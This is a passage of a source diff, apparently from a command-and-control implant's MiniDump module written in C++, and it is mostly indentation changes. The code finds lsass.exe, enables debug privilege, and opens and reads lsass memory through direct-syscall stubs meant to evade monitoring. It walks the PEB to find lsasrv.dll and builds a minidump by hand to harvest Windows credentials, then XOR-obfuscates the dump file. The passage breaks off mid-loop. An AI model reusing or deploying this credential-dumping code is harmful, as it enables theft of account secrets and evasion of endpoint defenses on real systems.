if (!dumpfile.read(&buffer[0], size))
|
||||
{
|
||||
c2Message.set_returnvalue("Error: read file");
|
||||
return -1;
|
||||
}
|
||||
if (!dumpfile.read(&buffer[0], size))
|
||||
{
|
||||
c2Message.set_returnvalue("Error: read file");
|
||||
return -1;
|
||||
}
|
||||
|
||||
XOR(buffer, xorKey);
|
||||
XOR(buffer, xorKey);
|
||||
|
||||
std::string outputFilePath = filename+".dmp";
|
||||
std::ofstream outputFile(outputFilePath, std::ios::binary);
|
||||
if (outputFile)
|
||||
{
|
||||
outputFile.write(reinterpret_cast<const char*>(buffer.data()), buffer.size());
|
||||
outputFile.close();
|
||||
}
|
||||
std::string outputFilePath = filename+".dmp";
|
||||
std::ofstream outputFile(outputFilePath, std::ios::binary);
|
||||
if (outputFile)
|
||||
{
|
||||
outputFile.write(reinterpret_cast<const char*>(buffer.data()), buffer.size());
|
||||
outputFile.close();
|
||||
}
|
||||
|
||||
std::string outputMsg = "Output file: ";
|
||||
outputMsg+=outputFilePath;
|
||||
c2Message.set_returnvalue(outputMsg);
|
||||
return -1;
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue("Error: file not found");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
std::string outputMsg = "Output file: ";
|
||||
outputMsg+=outputFilePath;
|
||||
c2Message.set_returnvalue(outputMsg);
|
||||
return -1;
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue("Error: file not found");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
|
||||
#endif
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
@@ -323,10 +323,10 @@ std::string ReadRemoteWStr(HANDLE hProcess, PVOID mem_address)
|
||||
const size_t MAX_ITER = 32; // cap to avoid infinite loop (32 * 512 = 16 KB)
|
||||
|
||||
for (size_t iter = 0; iter < MAX_ITER; ++iter)
|
||||
{
|
||||
{
|
||||
NTSTATUS ntstatus = Sw3NtReadVirtualMemory_(hProcess, cur_addr, buffer, CHUNK_BYTES, &bytesRead);
|
||||
if (ntstatus != 0 || bytesRead == 0)
|
||||
{
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -336,9 +336,9 @@ std::string ReadRemoteWStr(HANDLE hProcess, PVOID mem_address)
|
||||
|
||||
bool foundNull = false;
|
||||
for (SIZE_T i = 0; i < wcharCount; ++i)
|
||||
{
|
||||
{
|
||||
if (wptr[i] == L'\0')
|
||||
{
|
||||
{
|
||||
foundNull = true;
|
||||
break;
|
||||
}
|
||||
@@ -346,7 +346,7 @@ std::string ReadRemoteWStr(HANDLE hProcess, PVOID mem_address)
|
||||
}
|
||||
|
||||
if (foundNull)
|
||||
{
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -355,7 +355,7 @@ std::string ReadRemoteWStr(HANDLE hProcess, PVOID mem_address)
|
||||
}
|
||||
|
||||
if (wacc.empty())
|
||||
{
|
||||
{
|
||||
return std::string();
|
||||
}
|
||||
|
||||
@@ -366,7 +366,7 @@ std::string ReadRemoteWStr(HANDLE hProcess, PVOID mem_address)
|
||||
// Convert to UTF-8
|
||||
int required = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
|
||||
if (required <= 0)
|
||||
{
|
||||
{
|
||||
return std::string();
|
||||
}
|
||||
std::string out(required - 1, '\0'); // exclude terminating null
|
||||
@@ -399,7 +399,7 @@ typedef NTSTATUS (NTAPI *PFN_NtQueryInformationProcess)(
|
||||
|
||||
std::vector<ModuleInformation> CustomGetModuleHandle(HANDLE hProcess, const std::string &moduleName)
|
||||
{
|
||||
std::vector<ModuleInformation> modules;
|
||||
std::vector<ModuleInformation> modules;
|
||||
|
||||
int process_basic_information_size = 48;
|
||||
int peb_offset = 0x8;
|
||||
@@ -409,13 +409,13 @@ std::vector<ModuleInformation> CustomGetModuleHandle(HANDLE hProcess, const std:
|
||||
int flink_buffer_fulldllname_offset = 0x40;
|
||||
int flink_buffer_offset = 0x50;
|
||||
|
||||
PROCESS_BASIC_INFORMATION pbi;
|
||||
PROCESS_BASIC_INFORMATION pbi;
|
||||
ULONG ReturnLength;
|
||||
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
|
||||
PFN_NtQueryInformationProcess pNtQuery = (PFN_NtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess");
|
||||
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
|
||||
PFN_NtQueryInformationProcess pNtQuery = (PFN_NtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess");
|
||||
NTSTATUS ntstatus = pNtQuery(hProcess, ProcessBasicInformation, &pbi, (ULONG)process_basic_information_size, &ReturnLength);
|
||||
if (ntstatus != 0)
|
||||
{
|
||||
{
|
||||
return modules;
|
||||
}
|
||||
|
||||
@@ -427,7 +427,7 @@ std::vector<ModuleInformation> CustomGetModuleHandle(HANDLE hProcess, const std:
|
||||
|
||||
void* dll_base = (void*)1337;
|
||||
while (dll_base != NULL)
|
||||
{
|
||||
{
|
||||
next_flink = (void*)((uintptr_t)next_flink - 0x10);
|
||||
|
||||
// Get DLL base address
|
||||
@@ -440,14 +440,14 @@ std::vector<ModuleInformation> CustomGetModuleHandle(HANDLE hProcess, const std:
|
||||
std::string full_dll_name = ReadRemoteWStr(hProcess, full_dll_name_addr);
|
||||
|
||||
if (dll_base != 0 && (moduleName.empty() || ci_contains(base_dll_name, moduleName)))
|
||||
{
|
||||
ModuleInformation mi;
|
||||
memset(&mi, 0, sizeof(mi));
|
||||
strncpy_s(mi.base_dll_name, base_dll_name.data(), MAX_PATH - 1);
|
||||
strncpy_s(mi.full_dll_path, full_dll_name.data(), MAX_PATH - 1);
|
||||
mi.dll_base = dll_base;
|
||||
mi.size = 0;
|
||||
modules.push_back(mi);
|
||||
{
|
||||
ModuleInformation mi;
|
||||
memset(&mi, 0, sizeof(mi));
|
||||
strncpy_s(mi.base_dll_name, base_dll_name.data(), MAX_PATH - 1);
|
||||
strncpy_s(mi.full_dll_path, full_dll_name.data(), MAX_PATH - 1);
|
||||
mi.dll_base = dll_base;
|
||||
mi.size = 0;
|
||||
modules.push_back(mi);
|
||||
}
|
||||
|
||||
next_flink = ReadRemoteIntPtr(hProcess, (void*)((uintptr_t)next_flink + 0x10));
|
||||
@@ -459,24 +459,24 @@ std::vector<ModuleInformation> CustomGetModuleHandle(HANDLE hProcess, const std:
|
||||
|
||||
DWORD GetPidByName(const char * pName)
|
||||
{
|
||||
PROCESSENTRY32 pEntry;
|
||||
HANDLE snapshot;
|
||||
PROCESSENTRY32 pEntry;
|
||||
HANDLE snapshot;
|
||||
|
||||
pEntry.dwSize = sizeof(PROCESSENTRY32);
|
||||
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
pEntry.dwSize = sizeof(PROCESSENTRY32);
|
||||
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
|
||||
if (Process32First(snapshot, &pEntry) == TRUE)
|
||||
{
|
||||
while (Process32Next(snapshot, &pEntry) == TRUE)
|
||||
{
|
||||
if (_stricmp(pEntry.szExeFile, pName) == 0)
|
||||
{
|
||||
return pEntry.th32ProcessID;
|
||||
}
|
||||
}
|
||||
}
|
||||
CloseHandle(snapshot);
|
||||
return 0;
|
||||
if (Process32First(snapshot, &pEntry) == TRUE)
|
||||
{
|
||||
while (Process32Next(snapshot, &pEntry) == TRUE)
|
||||
{
|
||||
if (_stricmp(pEntry.szExeFile, pName) == 0)
|
||||
{
|
||||
return pEntry.th32ProcessID;
|
||||
}
|
||||
}
|
||||
}
|
||||
CloseHandle(snapshot);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
@@ -487,10 +487,10 @@ BOOL setDebugPrivilege()
|
||||
LUID luid = { 0 };
|
||||
|
||||
// if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
|
||||
Sw3NtOpenProcessToken_(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
|
||||
if(hToken!=NULL)
|
||||
Sw3NtOpenProcessToken_(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
|
||||
if(hToken!=NULL)
|
||||
{
|
||||
// TODO do manualy
|
||||
// TODO do manualy
|
||||
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
|
||||
{
|
||||
TOKEN_PRIVILEGES tokenPriv = { 0 };
|
||||
@@ -499,8 +499,8 @@ BOOL setDebugPrivilege()
|
||||
tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
// bRet = AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
|
||||
Sw3NtAdjustPrivilegesToken_(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PULONG)NULL);
|
||||
bRet = TRUE;
|
||||
Sw3NtAdjustPrivilegesToken_(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PULONG)NULL);
|
||||
bRet = TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -554,16 +554,16 @@ typedef LONG(WINAPI* RtlGetVersionPtr)(POSVERSIONINFOW);
|
||||
|
||||
OSVERSIONINFOW GetOSInfo()
|
||||
{
|
||||
RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlGetVersion");
|
||||
RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlGetVersion");
|
||||
|
||||
OSVERSIONINFOW osvi = { 0 };
|
||||
osvi.dwOSVersionInfoSize = sizeof(osvi);
|
||||
if (RtlGetVersion(&osvi) == 0)
|
||||
{
|
||||
{
|
||||
return osvi;
|
||||
}
|
||||
else
|
||||
{
|
||||
{
|
||||
return osvi;
|
||||
}
|
||||
}
|
||||
@@ -572,49 +572,49 @@ OSVERSIONINFOW GetOSInfo()
|
||||
// https://github.com/ricardojoserf/NativeDump
|
||||
void CreateMinidump(HMODULE lsasrvdll_address, int lsasrvdll_size, const std::vector<Memory64Info>& mem64info_List, const std::string& memoryRegions_byte_arr, std::string& dumpfile)
|
||||
{
|
||||
std::vector<uint8_t> tmp;
|
||||
std::vector<uint8_t> tmp;
|
||||
|
||||
//
|
||||
// Header - 32 bytes
|
||||
//
|
||||
MiniDumpHeader header = { 0 };;
|
||||
header.Signature = 0x504d444d;
|
||||
header.Version = 0xa793;
|
||||
header.NumberOfStreams = 0x3;
|
||||
header.StreamDirectoryRva = 0x20;
|
||||
//
|
||||
// Header - 32 bytes
|
||||
//
|
||||
MiniDumpHeader header = { 0 };;
|
||||
header.Signature = 0x504d444d;
|
||||
header.Version = 0xa793;
|
||||
header.NumberOfStreams = 0x3;
|
||||
header.StreamDirectoryRva = 0x20;
|
||||
|
||||
std::vector<uint8_t> header_byte_arr = StructToByteArray(header);
|
||||
// std::cout << "header_byte_arr " << header_byte_arr.size() << std::endl;
|
||||
// std::cout << "header_byte_arr should be 32 bytes" << std::endl;
|
||||
|
||||
//
|
||||
// Stream Directory - 36 bytes
|
||||
//
|
||||
MiniDumpDirectory minidumpStreamDirectoryEntry_1 = { 0 };;
|
||||
minidumpStreamDirectoryEntry_1.StreamType = 4;
|
||||
minidumpStreamDirectoryEntry_1.DataSize = 112;
|
||||
minidumpStreamDirectoryEntry_1.Rva = 0x7c;
|
||||
MiniDumpDirectory minidumpStreamDirectoryEntry_2 = { 0 };;
|
||||
minidumpStreamDirectoryEntry_2.StreamType = 7;
|
||||
minidumpStreamDirectoryEntry_2.DataSize = 56;
|
||||
minidumpStreamDirectoryEntry_2.Rva = 0x44;
|
||||
MiniDumpDirectory minidumpStreamDirectoryEntry_3 = { 0 };;
|
||||
minidumpStreamDirectoryEntry_3.StreamType = 9;
|
||||
minidumpStreamDirectoryEntry_3.DataSize = (16 + 16 * mem64info_List.size());
|
||||
minidumpStreamDirectoryEntry_3.Rva = 0x12A;
|
||||
std::vector<uint8_t> header_byte_arr = StructToByteArray(header);
|
||||
// std::cout << "header_byte_arr " << header_byte_arr.size() << std::endl;
|
||||
// std::cout << "header_byte_arr should be 32 bytes" << std::endl;
|
||||
|
||||
//
|
||||
// Stream Directory - 36 bytes
|
||||
//
|
||||
MiniDumpDirectory minidumpStreamDirectoryEntry_1 = { 0 };;
|
||||
minidumpStreamDirectoryEntry_1.StreamType = 4;
|
||||
minidumpStreamDirectoryEntry_1.DataSize = 112;
|
||||
minidumpStreamDirectoryEntry_1.Rva = 0x7c;
|
||||
MiniDumpDirectory minidumpStreamDirectoryEntry_2 = { 0 };;
|
||||
minidumpStreamDirectoryEntry_2.StreamType = 7;
|
||||
minidumpStreamDirectoryEntry_2.DataSize = 56;
|
||||
minidumpStreamDirectoryEntry_2.Rva = 0x44;
|
||||
MiniDumpDirectory minidumpStreamDirectoryEntry_3 = { 0 };;
|
||||
minidumpStreamDirectoryEntry_3.StreamType = 9;
|
||||
minidumpStreamDirectoryEntry_3.DataSize = (16 + 16 * mem64info_List.size());
|
||||
minidumpStreamDirectoryEntry_3.Rva = 0x12A;
|
||||
|
||||
std::vector<uint8_t> streamDirectory_byte_arr = StructToByteArray(minidumpStreamDirectoryEntry_1);
|
||||
tmp = StructToByteArray(minidumpStreamDirectoryEntry_2);
|
||||
streamDirectory_byte_arr.insert(streamDirectory_byte_arr.end(), tmp.begin(), tmp.end());
|
||||
tmp = StructToByteArray(minidumpStreamDirectoryEntry_3);
|
||||
streamDirectory_byte_arr.insert(streamDirectory_byte_arr.end(), tmp.begin(), tmp.end());
|
||||
// std::cout << "streamDirectory_byte_arr " << streamDirectory_byte_arr.size() << std::endl;
|
||||
|
||||
//
|
||||
// SystemInfoStream - 56 bytes
|
||||
//
|
||||
OSVERSIONINFOW osvi = GetOSInfo();
|
||||
uint8_t systeminfostream[56] = { 0 };
|
||||
std::vector<uint8_t> streamDirectory_byte_arr = StructToByteArray(minidumpStreamDirectoryEntry_1);
|
||||
tmp = StructToByteArray(minidumpStreamDirectoryEntry_2);
|
||||
streamDirectory_byte_arr.insert(streamDirectory_byte_arr.end(), tmp.begin(), tmp.end());
|
||||
tmp = StructToByteArray(minidumpStreamDirectoryEntry_3);
|
||||
streamDirectory_byte_arr.insert(streamDirectory_byte_arr.end(), tmp.begin(), tmp.end());
|
||||
// std::cout << "streamDirectory_byte_arr " << streamDirectory_byte_arr.size() << std::endl;
|
||||
|
||||
//
|
||||
// SystemInfoStream - 56 bytes
|
||||
//
|
||||
OSVERSIONINFOW osvi = GetOSInfo();
|
||||
uint8_t systeminfostream[56] = { 0 };
|
||||
int processor_architecture = 9;
|
||||
uint32_t majorVersion = osvi.dwMajorVersion;
|
||||
uint32_t minorVersion = osvi.dwMinorVersion;
|
||||
@@ -624,75 +624,75 @@ void CreateMinidump(HMODULE lsasrvdll_address, int lsasrvdll_size, const std::ve
|
||||
memcpy(systeminfostream + 12, &minorVersion, 4);
|
||||
memcpy(systeminfostream + 16, &buildNumber, 4);
|
||||
|
||||
std::vector<uint8_t> systemInfoStream_byte_arr = StructToByteArray(systeminfostream);
|
||||
// std::cout << "systemInfoStream_byte_arr " << systemInfoStream_byte_arr.size() << std::endl;
|
||||
// std::cout << "systemInfoStream_byte_arr should be 56 bytes" << std::endl;
|
||||
|
||||
//
|
||||
// ModuleList
|
||||
//
|
||||
MiniDumpModule module = { 0 };
|
||||
module.NumberOfModules = 1;
|
||||
module.BaseOfImage = reinterpret_cast<ULONG64>(lsasrvdll_address);
|
||||
module.SizeOfImage = lsasrvdll_size;
|
||||
module.ModuleNameRva = 0xE8;
|
||||
// module.Reserved1 = 0;
|
||||
std::vector<uint8_t> systemInfoStream_byte_arr = StructToByteArray(systeminfostream);
|
||||
// std::cout << "systemInfoStream_byte_arr " << systemInfoStream_byte_arr.size() << std::endl;
|
||||
// std::cout << "systemInfoStream_byte_arr should be 56 bytes" << std::endl;
|
||||
|
||||
//
|
||||
// ModuleList
|
||||
//
|
||||
MiniDumpModule module = { 0 };
|
||||
module.NumberOfModules = 1;
|
||||
module.BaseOfImage = reinterpret_cast<ULONG64>(lsasrvdll_address);
|
||||
module.SizeOfImage = lsasrvdll_size;
|
||||
module.ModuleNameRva = 0xE8;
|
||||
// module.Reserved1 = 0;
|
||||
|
||||
// quick fix on the size!!!
|
||||
std::vector<uint8_t> moduleListStream_byte_arr = StructToByteArray(module);
|
||||
moduleListStream_byte_arr.push_back(0);
|
||||
moduleListStream_byte_arr.push_back(0);
|
||||
moduleListStream_byte_arr.push_back(0);
|
||||
moduleListStream_byte_arr.push_back(0);
|
||||
// std::cout << "moduleListStream_byte_arr " << moduleListStream_byte_arr.size() << std::endl;
|
||||
// std::cout << "moduleListStream_byte_arr should be 112 bytes" << std::endl;
|
||||
// quick fix on the size!!!
|
||||
std::vector<uint8_t> moduleListStream_byte_arr = StructToByteArray(module);
|
||||
moduleListStream_byte_arr.push_back(0);
|
||||
moduleListStream_byte_arr.push_back(0);
|
||||
moduleListStream_byte_arr.push_back(0);
|
||||
moduleListStream_byte_arr.push_back(0);
|
||||
// std::cout << "moduleListStream_byte_arr " << moduleListStream_byte_arr.size() << std::endl;
|
||||
// std::cout << "moduleListStream_byte_arr should be 112 bytes" << std::endl;
|
||||
|
||||
std::string moduleName = "C:\\Windows\\System32\\lsasrv.dll";
|
||||
ModuleSize moduleSize;
|
||||
moduleSize.size = moduleName.size()*2;
|
||||
tmp = StructToByteArray(moduleSize);
|
||||
moduleListStream_byte_arr.insert(moduleListStream_byte_arr.end(), tmp.begin(), tmp.end());
|
||||
tmp = StringToUnicodeVector(moduleName.c_str());
|
||||
moduleListStream_byte_arr.insert(moduleListStream_byte_arr.end(), tmp.begin(), tmp.end());
|
||||
moduleListStream_byte_arr.push_back(0);
|
||||
moduleListStream_byte_arr.push_back(0);
|
||||
// std::cout << "moduleListStream_byte_arr " << moduleListStream_byte_arr.size() << std::endl;
|
||||
// std::cout << "moduleListStream_byte_arr should be 174 bytes" << std::endl;
|
||||
std::string moduleName = "C:\\Windows\\System32\\lsasrv.dll";
|
||||
ModuleSize moduleSize;
|
||||
moduleSize.size = moduleName.size()*2;
|
||||
tmp = StructToByteArray(moduleSize);
|
||||
moduleListStream_byte_arr.insert(moduleListStream_byte_arr.end(), tmp.begin(), tmp.end());
|
||||
tmp = StringToUnicodeVector(moduleName.c_str());
|
||||
moduleListStream_byte_arr.insert(moduleListStream_byte_arr.end(), tmp.begin(), tmp.end());
|
||||
moduleListStream_byte_arr.push_back(0);
|
||||
moduleListStream_byte_arr.push_back(0);
|
||||
// std::cout << "moduleListStream_byte_arr " << moduleListStream_byte_arr.size() << std::endl;
|
||||
// std::cout << "moduleListStream_byte_arr should be 174 bytes" << std::endl;
|
||||
|
||||
//
|
||||
// Memory64List
|
||||
//
|
||||
int number_of_entries = mem64info_List.size();
|
||||
int offset_mem_regions = 0x12A + 16 + (16 * number_of_entries);
|
||||
MiniDumpMemory64ListStream memory64ListStream = { 0 };
|
||||
memory64ListStream.NumberOfEntries = number_of_entries;
|
||||
memory64ListStream.MemoryRegionsBaseAddress = offset_mem_regions;
|
||||
std::vector<uint8_t> memory64ListStream_byte_arr = StructToByteArray(memory64ListStream);
|
||||
// std::cout << "memory64ListStream_byte_arr " << memory64ListStream_byte_arr.size() << std::endl;
|
||||
// std::cout << "memory64ListStream_byte_arr should be 16 bytes" << std::endl;
|
||||
//
|
||||
// Memory64List
|
||||
//
|
||||
int number_of_entries = mem64info_List.size();
|
||||
int offset_mem_regions = 0x12A + 16 + (16 * number_of_entries);
|
||||
MiniDumpMemory64ListStream memory64ListStream = { 0 };
|
||||
memory64ListStream.NumberOfEntries = number_of_entries;
|
||||
memory64ListStream.MemoryRegionsBaseAddress = offset_mem_regions;
|
||||
std::vector<uint8_t> memory64ListStream_byte_arr = StructToByteArray(memory64ListStream);
|
||||
// std::cout << "memory64ListStream_byte_arr " << memory64ListStream_byte_arr.size() << std::endl;
|
||||
// std::cout << "memory64ListStream_byte_arr should be 16 bytes" << std::endl;
|
||||
|
||||
// std::cout << "mem64info_List.size() " << mem64info_List.size() << std::endl;+
|
||||
for (int i = 0; i < mem64info_List.size(); i++)
|
||||
{
|
||||
MiniDumpMemory64Info memory64Info;
|
||||
memory64Info.address = reinterpret_cast<uint64_t>(mem64info_List[i].Address);
|
||||
memory64Info.size = mem64info_List[i].Size;
|
||||
tmp = StructToByteArray(memory64Info);
|
||||
memory64ListStream_byte_arr.insert(memory64ListStream_byte_arr.end(), tmp.begin(), tmp.end());
|
||||
}
|
||||
// std::cout << "memory64ListStream_byte_arr " << memory64ListStream_byte_arr.size() << std::endl;
|
||||
// std::cout << "mem64info_List.size() " << mem64info_List.size() << std::endl;+
|
||||
for (int i = 0; i < mem64info_List.size(); i++)
|
||||
{
|
||||
MiniDumpMemory64Info memory64Info;
|
||||
memory64Info.address = reinterpret_cast<uint64_t>(mem64info_List[i].Address);
|
||||
memory64Info.size = mem64info_List[i].Size;
|
||||
tmp = StructToByteArray(memory64Info);
|
||||
memory64ListStream_byte_arr.insert(memory64ListStream_byte_arr.end(), tmp.begin(), tmp.end());
|
||||
}
|
||||
// std::cout << "memory64ListStream_byte_arr " << memory64ListStream_byte_arr.size() << std::endl;
|
||||
|
||||
// Create Minidump file complete byte array
|
||||
std::vector<uint8_t> finalBuffer = header_byte_arr;
|
||||
finalBuffer.insert(finalBuffer.end(), streamDirectory_byte_arr.begin(), streamDirectory_byte_arr.end());
|
||||
finalBuffer.insert(finalBuffer.end(), systemInfoStream_byte_arr.begin(), systemInfoStream_byte_arr.end());
|
||||
finalBuffer.insert(finalBuffer.end(), moduleListStream_byte_arr.begin(), moduleListStream_byte_arr.end());
|
||||
finalBuffer.insert(finalBuffer.end(), memory64ListStream_byte_arr.begin(), memory64ListStream_byte_arr.end());
|
||||
finalBuffer.insert(finalBuffer.end(), memoryRegions_byte_arr.begin(), memoryRegions_byte_arr.end());
|
||||
// std::cout << "memoryRegions_byte_arr " << memoryRegions_byte_arr.size() << std::endl;
|
||||
// std::cout << "finalBuffer " << finalBuffer.size() << std::endl;
|
||||
// Create Minidump file complete byte array
|
||||
std::vector<uint8_t> finalBuffer = header_byte_arr;
|
||||
finalBuffer.insert(finalBuffer.end(), streamDirectory_byte_arr.begin(), streamDirectory_byte_arr.end());
|
||||
finalBuffer.insert(finalBuffer.end(), systemInfoStream_byte_arr.begin(), systemInfoStream_byte_arr.end());
|
||||
finalBuffer.insert(finalBuffer.end(), moduleListStream_byte_arr.begin(), moduleListStream_byte_arr.end());
|
||||
finalBuffer.insert(finalBuffer.end(), memory64ListStream_byte_arr.begin(), memory64ListStream_byte_arr.end());
|
||||
finalBuffer.insert(finalBuffer.end(), memoryRegions_byte_arr.begin(), memoryRegions_byte_arr.end());
|
||||
// std::cout << "memoryRegions_byte_arr " << memoryRegions_byte_arr.size() << std::endl;
|
||||
// std::cout << "finalBuffer " << finalBuffer.size() << std::endl;
|
||||
|
||||
dumpfile = std::string(finalBuffer.begin(), finalBuffer.end());
|
||||
dumpfile = std::string(finalBuffer.begin(), finalBuffer.end());
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -710,157 +710,157 @@ int MiniDump::process(C2Message &c2Message, C2Message &c2RetMessage)
|
||||
|
||||
#ifdef _WIN32
|
||||
|
||||
if(c2Message.cmd() == dumpCmd)
|
||||
{
|
||||
std::string procname = "lsass.exe";
|
||||
DWORD dwPid = GetPidByName(procname.c_str());
|
||||
// std::cout << "dwPid " << dwPid << std::endl;
|
||||
if(dwPid==0)
|
||||
{
|
||||
c2RetMessage.set_errorCode(LSASS_PID_NOT_FOUND);
|
||||
return -1;
|
||||
}
|
||||
if(c2Message.cmd() == dumpCmd)
|
||||
{
|
||||
std::string procname = "lsass.exe";
|
||||
DWORD dwPid = GetPidByName(procname.c_str());
|
||||
// std::cout << "dwPid " << dwPid << std::endl;
|
||||
if(dwPid==0)
|
||||
{
|
||||
c2RetMessage.set_errorCode(LSASS_PID_NOT_FOUND);
|
||||
return -1;
|
||||
}
|
||||
|
||||
BOOL ret = setDebugPrivilege();
|
||||
// std::cout << "ret " << ret << std::endl;
|
||||
if(ret==FALSE)
|
||||
{
|
||||
c2RetMessage.set_errorCode(ERROR_SETDEBUG);
|
||||
return -1;
|
||||
}
|
||||
BOOL ret = setDebugPrivilege();
|
||||
// std::cout << "ret " << ret << std::endl;
|
||||
if(ret==FALSE)
|
||||
{
|
||||
c2RetMessage.set_errorCode(ERROR_SETDEBUG);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Get process handle with NtOpenProcess
|
||||
HANDLE lsassHandle=NULL;
|
||||
CLIENT_ID client_id = {0};
|
||||
client_id.UniqueProcess = (HANDLE)dwPid;
|
||||
client_id.UniqueThread = 0;
|
||||
OBJECT_ATTRIBUTES objAttr = {0};
|
||||
Sw3NtOpenProcess_(&lsassHandle, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, &objAttr, &client_id);
|
||||
// HANDLE lsassHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid);
|
||||
// std::cout << "lsassHandle " << lsassHandle << std::endl;
|
||||
if(lsassHandle==NULL)
|
||||
{
|
||||
c2RetMessage.set_errorCode(ERROR_OPEN_PROCESS);
|
||||
return -1;
|
||||
}
|
||||
// Get process handle with NtOpenProcess
|
||||
HANDLE lsassHandle=NULL;
|
||||
CLIENT_ID client_id = {0};
|
||||
client_id.UniqueProcess = (HANDLE)dwPid;
|
||||
client_id.UniqueThread = 0;
|
||||
OBJECT_ATTRIBUTES objAttr = {0};
|
||||
Sw3NtOpenProcess_(&lsassHandle, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, &objAttr, &client_id);
|
||||
// HANDLE lsassHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid);
|
||||
// std::cout << "lsassHandle " << lsassHandle << std::endl;
|
||||
if(lsassHandle==NULL)
|
||||
{
|
||||
c2RetMessage.set_errorCode(ERROR_OPEN_PROCESS);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Loop the memory regions
|
||||
SYSTEM_INFO sysInfo;
|
||||
GetSystemInfo(&sysInfo);
|
||||
// Loop the memory regions
|
||||
SYSTEM_INFO sysInfo;
|
||||
GetSystemInfo(&sysInfo);
|
||||
|
||||
MEMORY_BASIC_INFORMATION mbi;
|
||||
char* address = 0;
|
||||
MEMORY_BASIC_INFORMATION mbi;
|
||||
char* address = 0;
|
||||
|
||||
// Get lsasrv.dll information
|
||||
// Recoded GetRemoteModuleHandle to use the peb - https://github.com/ricardojoserf/NativeDump/blob/c-flavour/NativeDump/NativeDump.cpp
|
||||
std::string lsasrvDll = "lsasrv.dll";
|
||||
// HMODULE lsasrvdll_address = GetRemoteModuleHandle(lsassHandle, lsasrvDll.c_str());
|
||||
// if(lsassHandle==NULL)
|
||||
// {
|
||||
// c2RetMessage.set_errorCode(ERROR_GET_REMOTE_HANDLE);
|
||||
// return -1;
|
||||
// }
|
||||
// Get lsasrv.dll information
|
||||
// Recoded GetRemoteModuleHandle to use the peb - https://github.com/ricardojoserf/NativeDump/blob/c-flavour/NativeDump/NativeDump.cpp
|
||||
std::string lsasrvDll = "lsasrv.dll";
|
||||
// HMODULE lsasrvdll_address = GetRemoteModuleHandle(lsassHandle, lsasrvDll.c_str());
|
||||
// if(lsassHandle==NULL)
|
||||
// {
|
||||
// c2RetMessage.set_errorCode(ERROR_GET_REMOTE_HANDLE);
|
||||
// return -1;
|
||||
// }
|
||||
|
||||
std::vector<ModuleInformation> modules = CustomGetModuleHandle(lsassHandle, lsasrvDll);
|
||||
if(modules.size()==0)
|
||||
{
|
||||
c2RetMessage.set_errorCode(ERROR_GET_REMOTE_HANDLE);
|
||||
return -1;
|
||||
}
|
||||
HMODULE lsasrvdll_address = (HMODULE)modules[0].dll_base;
|
||||
std::vector<ModuleInformation> modules = CustomGetModuleHandle(lsassHandle, lsasrvDll);
|
||||
if(modules.size()==0)
|
||||
{
|
||||
c2RetMessage.set_errorCode(ERROR_GET_REMOTE_HANDLE);
|
||||
return -1;
|
||||
}
|
||||
HMODULE lsasrvdll_address = (HMODULE)modules[0].dll_base;
|
||||
|
||||
int lsasrvdll_size = 0;
|
||||
bool bool_test = false;
|
||||
int lsasrvdll_size = 0;
|
||||
bool bool_test = false;
|
||||
|
||||
std::vector<Memory64Info> mem64info_List;
|
||||
std::string memory_regions;
|
||||
while (address < sysInfo.lpMaximumApplicationAddress)
|
||||
{
|
||||
// TODO NtQueryVirtualMemory
|
||||
// if (VirtualQueryEx(lsassHandle, address, &mbi, sizeof(mbi)) == sizeof(mbi))
|
||||
SIZE_T returnLength;
|
||||
if (!Sw3NtQueryVirtualMemory_(lsassHandle, address, MemoryBasicInformation, &mbi, sizeof(mbi), &returnLength))
|
||||
{
|
||||
if (mbi.Protect != PAGE_NOACCESS && mbi.State == MEM_COMMIT)
|
||||
{
|
||||
mem64info_List.emplace_back(mbi.BaseAddress, mbi.RegionSize);
|
||||
std::vector<Memory64Info> mem64info_List;
|
||||
std::string memory_regions;
|
||||
while (address < sysInfo.lpMaximumApplicationAddress)
|
||||
{
|
||||
